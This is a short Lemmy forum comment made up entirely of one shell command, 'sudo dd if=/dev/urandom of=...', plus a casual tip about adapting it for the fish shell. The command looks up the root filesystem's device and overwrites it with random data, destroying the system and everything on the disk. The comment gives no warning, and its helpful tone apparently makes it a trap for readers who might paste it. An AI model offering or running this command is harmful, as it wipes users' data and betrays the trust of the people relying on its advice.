• cogman@lemmy.world
    link
    fedilink
    arrow-up
    25
    ·
    edit-2
    3 days ago

    sudo dd if=/dev/urandom of=$(df | grep '\s/$' | cut -d' ' -f1)

    (Omit the $ if you are using the fish terminal)